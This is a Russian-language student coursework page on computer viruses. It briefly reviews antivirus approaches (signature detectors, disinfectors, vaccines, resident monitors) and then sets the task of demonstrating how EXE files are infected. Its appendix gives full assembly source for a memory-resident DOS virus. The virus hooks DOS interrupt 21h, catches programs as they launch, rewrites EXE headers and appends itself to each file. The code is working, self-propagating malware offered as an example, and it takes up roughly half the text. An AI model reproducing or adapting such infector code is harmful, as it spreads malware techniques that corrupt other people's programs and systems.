Смекни!
smekni.com

Работа с каталогами и подкаталогами. Работа с файлами (стр. 3 из 3)

Детекторы. Эти программы рассчитаны на вполне определенные вирусы, которые ищутся по сигнатуре – строке, содержащейся в теле вируса. Некоторые детекторы позволяют пользователю пополнять список сигнатур. Использование таких программ достаточно ограниченно. Новые вирусы появляются с огромной быстротой, и даже авторы самых знаменитых и эффективных детекторов не поспевают за ними.

Фаги. Программы, позволяющие восстанавливать (лечить) зараженные файлы. Обычно такие программы имеют и встроенный детектор. Данные программы весьма опасны, т.к. часто портят восстанавливаемые файлы. Весьма незначительные изменения в вирусе могут привести к изменению длины вируса или отдельных его частей и даже способа заражения. После чего попытка излечить программу отданного вируса скорее всего приведет к порче программы. Вакцины и вакцинация. Идея заключается в попытке обмануть вирус. Большинство вирусов перед тем как «сесть» на программу проверяет, не заражена ли уже она. Для этого в теле программы в определенном месте ищется специальная метка. Если в нужное место программы поместить эту метку, то программа тем самым будет защищена отданного вируса. Резидентная программа-вакцина находится в памяти и имитирует наличие там вируса. При запуске зараженной программы вирус проверяет наличие себя в памяти по определенным признакам. Вакцина обманывает вирус, не позволяя ему остаться в памяти. Легко сообразить, что количество вирусов, от которых можно уберечься таким способом, невелико. Трудно себе представить вакцинацию, скажем, от ста вирусов одновременно. Такой метод можно эффективно использовать лишь во время эпидемий на машинах со многими пользователями. Резидентные сторожа. Сторож–это программа, позволяющая выявить или блокировать несанкционированные действия в системе. Таковым может быть либо заражение программы, либо попытка остаться в памяти резидентно. Отслеживанием прерываний и сравнением объема свободной памяти до и после запуска программы это сделать не так уж трудно. Проблема заключается в том, что запись на диск производится довольно часто, и сторож должен проявлять определенную «интеллектуальность», реагируя лишь на подозрительные операции.

Программа может иметь и своего собственного сторожа, который запускается при запуске программы и далее проверяет возможность ее заражения. В конце главы приводятся примеры того, как в принципе может быть построен такой сторож.

6. Постановка задачи

Продемонстрировать стандартный способ заражения. ЕХЕ – файлов.

В частности стандартный способ заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа (значения CS и IP) таким образом, чтобы она соответствовала концу файла; затем он дописывается в конец (т.о. новая точка входа соответствует его началу). При этом вирус сохраняет в себе изначальную точку входа, и когда он выполнит свою задачу – передает управление по этому адресу. Помимо точки входа вирус может переопределить (а потом – отреставрировать) значения SS и SP.

Заключение

Ныне существует немало разновидностей вирусов, различающихся по способу распространения и функциональности. Если изначально вирусы распространялись на дискетах и других носителях, то сейчас доминируют вирусы, распространяющиеся через Интернет. Растёт и функциональность вирусов, которую они перенимают от других видов программ: руткитов, бэкдоров (создают «чёрный ход» в систему), кейлоггеров (регистрация активности пользователей), программ-шпионов (крадут пароли от банковских счётов и номера кредитных карт), ботнетов (превращают заражённые компьютеры в станции по рассылке спама или в часть компьютерных сетей, занимающихся спамом и прочей противоправной активностью).

Создание и распространение компьютерных вирусов и вредоносных программ преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).

Список литературы

1. Пирогов, В.Ю. ASSEMBLER. Учебный курс [Текст]/ В.Ю. Пирогов. – М.: Издательство Нолидж, 2001. – 848 с., ил.

2. http://www.codenet.ru/cat/Languages/Assembler/

Приложение А

Это – программа, пример стандартного заражения

ЕХЕ-файлов

ASSUME CS: CodeSegment

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

my_head: JMP initial

;

;

f_number: DW 0

;

;

saved_int21: DD 0

;

;

;

int21_treater:CMP AH, 4Bh

JE begin

JMP retro

begin: PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH DS

PUSH ES

PUSH DI

PUSH SI

MOV DI, DX

resend_again: INC DI

CMP byte ptr DS: [DI], 0

JNE resend_again

CMP word ptr DS: [DI-2], 4558h

JNE to_no_exe

CMP word ptr DS: [DI-4], 452Eh

JE thats_exe

to_no_exe: JMP no_exe

thats_exe:

MOV CX, 0

MOV AH, 3Dh

MOV AL, 2

CALL call_int21

MOV word ptr CS: [f_number-100h], AX

PUSH CS

POP DS

MOV AH, 3Fh

MOV DX, OFFSET data_exe – 100h

MOV CX, 20h

MOV BX, word ptr CS: [f_number-100h]

CALL call_int21

CMP word ptr DS: [data_exe – 100h + 0Ah], 50h

JNE thats_clear

JMP no_exe

thats_clear:

MOV word ptr DS: [data_exe – 100h + 0Ah], 50h

MOV AX, word ptr CS: [data_exe – 100h + 14h]

MOV word ptr CS: [saved_ip – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 16h]

MOV word ptr CS: [saved_cs – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 10h]

MOV word ptr CS: [saved_sp – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 0Eh]

MOV word ptr CS: [saved_ss – 100h + 1], AX

XOR CX, CX

XOR DX, DX

MOV BX, word ptr CS: [f_number-100h]

MOV AL, 2

MOV AH, 42h

CALL call_int21

PUSH AX

PUSH DX

MOV BX, 200h

DIV BX

INC AX

ADD DX, 1C3h

CMP DX, 200h

JB no_add

INC AX

SUB DX, 200h

no_add: MOV word ptr CS: [data_exe – 100h + 2h], DX

MOV word ptr CS: [data_exe – 100h + 4h], AX

POP DX

POP AX

PUSH AX

MOV AX, DX

MOV BX, 1000h

MUL BX

POP DX

;

CMP AX, 0

JE sub_dx

sub_ax: SUB AX, word ptr CS: [data_exe – 100h + 8h]

JMP short length_got

sub_dx: PUSH AX

PUSH DX

MOV AX, word ptr CS: [data_exe – 100h + 8h]

MOV BX, 10h

MUL BX

POP DX

SUB DX, AX

POP AX

length_got:

MOV word ptr CS: [M1 – 100h +1], DX

MOV word ptr CS: [data_exe – 100h + 14h], DX

MOV word ptr CS: [data_exe – 100h + 16h], AX

ADD AX, 50h

MOV word ptr CS: [data_exe – 100h + 10h], DX

MOV word ptr CS: [data_exe – 100h + 0Eh], AX

MOV BX, word ptr CS: [f_number-100h]

MOV DX, OFFSET my_head-100h

MOV CX, my_end – my_head

MOV AH, 40h

CALL call_int21

XOR CX, CX

XOR DX, DX

MOV BX, word ptr CS: [f_number-100h]

MOV AL, 0

MOV AH, 42h

CALL call_int21

MOV BX, word ptr CS: [f_number-100h]

MOV DX, OFFSET data_exe-100h

MOV CX, 20h

MOV AH, 40h

CALL call_int21

to_close: MOV BX, word ptr CS: [f_number-100h]

MOV AH, 3Eh

CALL call_int21

no_exe: POP SI

POP DI

POP ES

POP DS

POP DX

POP CX

POP BX

POP AX

retro: JMP dword ptr CS: [saved_int21–100h]

call_int21:

PUSHF

CALL dword ptr CS: [saved_int21–100h]

RET

initial: PUSH DS

PUSH ES

MOV AX, 40h

MOV ES, AX

CMP byte ptr ES: [134h], 55h

JE no_tsr

MOV byte ptr ES: [134h], 55h

MOV AX, DS: [02]

SUB AX, 30h

PUSH DS;>>

PUSH CS

POP DS

m1: MOV SI, OFFSET my_head

MOV ES, AX

XOR DI, DI

MOV CX, my_end – my_head

CLD

REPE MOVSB

POP DS

MOV BX, DS

DEC BX

MOV DS, BX

SUB word ptr DS: [03h], 30h

SUB word ptr DS: [12h], 30h

XOR BX, BX

MOV DS, BX

MOV AX, DS: [21h*4+0]; 48Bh

MOV word ptr ES: [saved_int21–100h+0], AX

MOV AX, DS: [21h*4+2]; 5BDh

MOV word ptr ES: [saved_int21–100h+2], AX

CLI

MOV word ptr DS: [21h*4+0], OFFSET int21_treater – 100h

MOV word ptr DS: [21h*4+2], ES

STI

no_tsr:

POP AX

MOV DS, AX

ADD AX, 10h

POP ES

CMP word ptr CS: [00], 20CDh

JNE no_first

RET

no_first: CLI

saved_ss: MOV CX, 1234h

ADD CX, AX

MOV SS, CX

saved_sp: MOV SP, 1234h

STI

saved_cs: MOV DI, 1234h

ADD AX, DI

PUSH AX

saved_ip: MOV AX, 1234h

PUSH AX

RETF

data_exe:

my_end:

MainProcedure ENDP

CodeSegment ENDS

END Start